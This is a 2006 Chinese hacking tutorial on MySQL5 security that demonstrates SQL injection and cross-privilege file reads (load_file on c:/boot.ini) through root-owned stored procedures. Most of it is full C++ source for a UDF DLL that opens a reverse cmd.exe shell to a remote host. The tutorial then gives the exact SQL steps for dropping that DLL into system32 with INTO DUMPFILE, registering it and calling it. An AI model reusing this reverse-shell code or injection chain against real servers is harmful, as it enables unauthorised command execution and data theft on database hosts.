Hackfing in Mysql5入门

Hackfing in Mysql5

Author：SuperHei_[At]_ph4nt0m.org
Blog：http://superhei.blogbus.com/
Team：http://www.ph4nt0m.org
Data: 2006-01-29

     Mysql5增加很多新的功能，开始支持：存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然，但是新的东西的出来，必定也会带来新的安全问题，如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢？下面我给大家介绍下mysql5在安全方面的特点：


一、password authentication

mysql5的password()和mysql4.1一样，采用的基于SHA1的41位hash：

mysql> select password('mypass');
+-------------------------------------------+
| password('mypass')                        |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基于16位md5：

mysql> SELECT PASSWORD('mypass');
+--------------------+
| PASSWORD('mypass') |
+--------------------+
| 6f8c114b58f2ce9e   |
+--------------------+

当使用低版本的Client连接时，回出现错误：Client does not support authentication protocol，为了解决这个问题，mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():

mysql> select old_password('mypass');
+------------------------+
| old_password('mypass') |
+------------------------+
| 6f8c114b58f2ce9e       |
+------------------------+
1 row in set (0.09 sec)

二、数据字典(information_schema)

和mssql、oracle、db2等数据库一样，mysql5提供了一个系统数据库：information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| KEY_COLUMN_USAGE                      |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| VIEWS                                 |
| USER_PRIVILEGES                       |
+---------------------------------------+
16 rows in set (0.17 sec)

在这个数据库里我们可以得到很多信息，包括当前用户权限：
mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| 'KK1'@'%' | NULL          | USAGE          | NO           |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)

当前用户权限下可以访问的数据库，表，列名（这个在sql注射中，导致直接暴区数据库，表列名，再也不要‘暴力’咯）：

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in           | article    | articleid   |
| in           | user       | userid      |
+--------------+------------+-------------+
2 rows in set (0.02 sec)

还可以得到当前用户权限下的VIEWS，ROUTINES等，关于ROUTINES我们在下面的‘存储过程’里详细介绍。

[ps:注意是‘当前用户权限’如果是root，那么太可以得到所有的数据库名称以及表列名等等]


三、存储过程(Stored Procedures)

'存储过程'的使用是mysql5的一个闪光点，在带来方便的同时，它也带来了新的安全隐患：如sql注射，用户权限提升等等。

D:/mysql5/bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor.  Commands end with ; or /g.
Your MySQL connection id is 4 to server version: 5.0.18

Type 'help;' or '/h' for help. Type '/c' to clear the buffer.

mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
    -> BEGIN
    ->   SELECT * FROM in.USER WHERE USERID=ID;
    -> END//
Query OK, 0 rows affected (0.08 sec)

mysql> delimiter ;

mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

上面我们使用root在数据库in里创建了一个名为test的存储过程。

a、SQL Injection

mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call test(1 and 1=2);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

b、跨权限
存储过程是继承创建者的权限的，如果存储过程是root创建的，当其他普通用户使用这个存储过程时，导致跨权限攻击：

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
    -> ON `IN`.*
    -> TO 'KK1'@'%'
    -> IDENTIFIED BY 'OBSCURE';
Query OK, 0 rows affected (0.03 sec)

上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限，使用KK1登陆：
D:/mysql5/bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor.  Commands end with ; or /g.
Your MySQL connection id is 5 to server version: 5.0.18

Type 'help;' or '/h' for help. Type '/c' to clear the buffer.

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in             | test         | root@localhost |                    |
| in             | tt           | root@localhost |                    |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)

我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限：

mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

没有file权限的KK1可以使用in.test使用load_file()，我们还可以直接对mysql.user进行select，如果存储过程可以updata，insert注射，那么我们可以普通用户直接通过注射来修改mysql.user里的数据。

四、User-Defined Function

[ps：下面都是基于win系统]

mysql5的udf在格式和安全方面做一些新的改变：
1、格式要求更加严格[xxx_init()初始化函数]
对于没有xxx_init()初始化函数 在以前的版本是可以使用的，但是在mysql5下会出现Can't find function 'xxx_init' in library的错误，如：

mysql> create function ExitProcess returns integer soname 'kernel32';
ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library

下面给出的代码是好友云舒写的，符合mysql5的udf格式要求可以在mysql5下使用：

/*******************************************************************************
* File:   MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date:    2005-12-12
*******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#define MAKE_DLL                /* Build dll here */

#include "MySQL_Shell.h"

#pragma comment( lib, "ws2_32" )

#define BUFFER_SIZE    1024

///////////////////////////////////////////////////////////////////////////////
//函数原型
///////////////////////////////////////////////////////////////////////////////

BOOL StartWith( char *, char * );
void LogMsg( char * );

///////////////////////////////////////////////////////////////////////////////
//MySQL模块初始化函数
///////////////////////////////////////////////////////////////////////////////

LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
    if ( args->arg_count != 2 )
    {
        strcpy( message, "Shell() requires two arguments" );
        return 1;
    }

    if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
    {
        strcpy( message, "Shell() requires two string arguent" );
        return 1;
    }

    return 0;
}

///////////////////////////////////////////////////////////////////////////////
//MySQL模块主功能函数，反向连接提供shell
///////////////////////////////////////////////////////////////////////////////

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
    SOCKET            sock;
    SOCKADDR_IN        sin;
    int                ret;
    
    // Create socket
    sock = socket( AF_INET, SOCK_STREAM, 0 );
    if ( sock == INVALID_SOCKET )
    {
        strcpy( error, "Create socket error" );

        return -1;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons( atoi(args->args[1]) );
    sin.sin_addr.s_addr = inet_addr( args->args[0] );
    
    //connect to remote server
    ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
    if( ret == SOCKET_ERROR )
    {
        strcpy( error, "Connect error" );

        return -1;
    }

    SECURITY_ATTRIBUTES    sa;
    
    sa.nLength = sizeof( sa );
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;
    
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

    ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
    ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
        
    STARTUPINFO    si;
    ZeroMemory( &si, sizeof(si) );

    GetStartupInfo( &si );
    
    si.cb = sizeof( si );
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    
    PROCESS_INFORMATION    processInfo;
    
    char    cmdLine[] = "cmd.exe";

    ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
    ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
    
    char            buff[BUFFER_SIZE] = { 0 };            
    unsigned long    bytesRead = 0;
    int             i = 0;
    
    while( TRUE )
    {
        memset( buff, 0, BUFFER_SIZE );
        
          ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
          
          for(i = 0; i < 5 && bytesRead == 0; i++)
        {
            Sleep(100);
            ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
        }
        
          if( bytesRead )
        {
               ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
               if( !ret ) break;
  
            ret = send( sock, buff, bytesRead, 0 );
               if( ret <= 0 ) break;
          }
        else
        {
               bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
                
               if( bytesRead <= 0 ) break;
            
            if( StartWith( buff , "exit" ) == TRUE ) break;

               ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
               if( !ret ) break;
           }
    }
    
    TerminateProcess( processInfo.hProcess, 0 );

    CloseHandle( hReadPipe1 );
    CloseHandle( hReadPipe2 );
    CloseHandle( hWritePipe1 );
    CloseHandle( hWritePipe2 );
    
    closesocket( sock );

    return 0;
}    

///////////////////////////////////////////////////////////////////////////////
//判断字符串是否以另一个字符串开头
///////////////////////////////////////////////////////////////////////////////

BOOL StartWith( char *buf1, char *buf2 )
{
    int len = strlen(buf2);

    if( memcmp( buf1,buf2,len ) == 0 )
    {
        return TRUE;
    }
    return FALSE;
}

///////////////////////////////////////////////////////////////////////////////
//记录日志信息，调试用
///////////////////////////////////////////////////////////////////////////////

void LogMsg( char *msg )
{
    FILE    *fp;

    fp = fopen( "C:/mysql.txt", "a+" );

    fputs( msg, fp );

    fclose( fp );
}


/*******************************************************************************
* File:   MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date:    2005-12-12
*******************************************************************************/

#ifdef MAKE_DLL
    #define LIB extern "C" __declspec(dllexport)
#else
    #define LIB extern "C" __declspec(dllimport)
#endif

#define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */

typedef char my_bool;

enum Item_result
{
    STRING_RESULT,REAL_RESULT,INT_RESULT
};

typedef struct st_udf_args
{
    unsigned int        arg_count;           /* Number of arguments */
    enum Item_result    *arg_type;           /* Pointer to item_results */
    char                **args;                 /* Pointer to argument */
    unsigned long        *lengths;            /* Length of string arguments */
    char                *maybe_null;         /* Set to 1 for all maybe_null args */
} UDF_ARGS;


typedef struct st_udf_init
{
    my_bool                maybe_null;          /* 1 if function can return NULL */
    unsigned int        decimals;            /* for real functions */
    unsigned int        max_length;          /* For string functions */
    char                *ptr;                /* free pointer for function data */
    char                const_item;          /* 0 if result is independent of arguments */
} UDF_INIT;

LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );


2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。
对于一般低权限的系统用户是没有对system32目录写权限的，在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破，具体如下：
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)

mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name  | ret | dl        | type     |
+-------+-----+-----------+----------+
| shell |   2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)

mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
|                      NULL |
+---------------------------+
1 row in set (0.97 sec)

五、参考
《MySQL 5.0 Reference Manual》 http://dev.mysql.com/doc/refman/5.0/en/
《Hackproofing MySQL》         http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
《给mysql加个自定义函数（windows平台）》http://www.icylife.net/yunshu/show.php?id=244

六、感谢
感谢云舒、TomyChen、Mix ...所有pst的兄弟们。

谢谢阅读!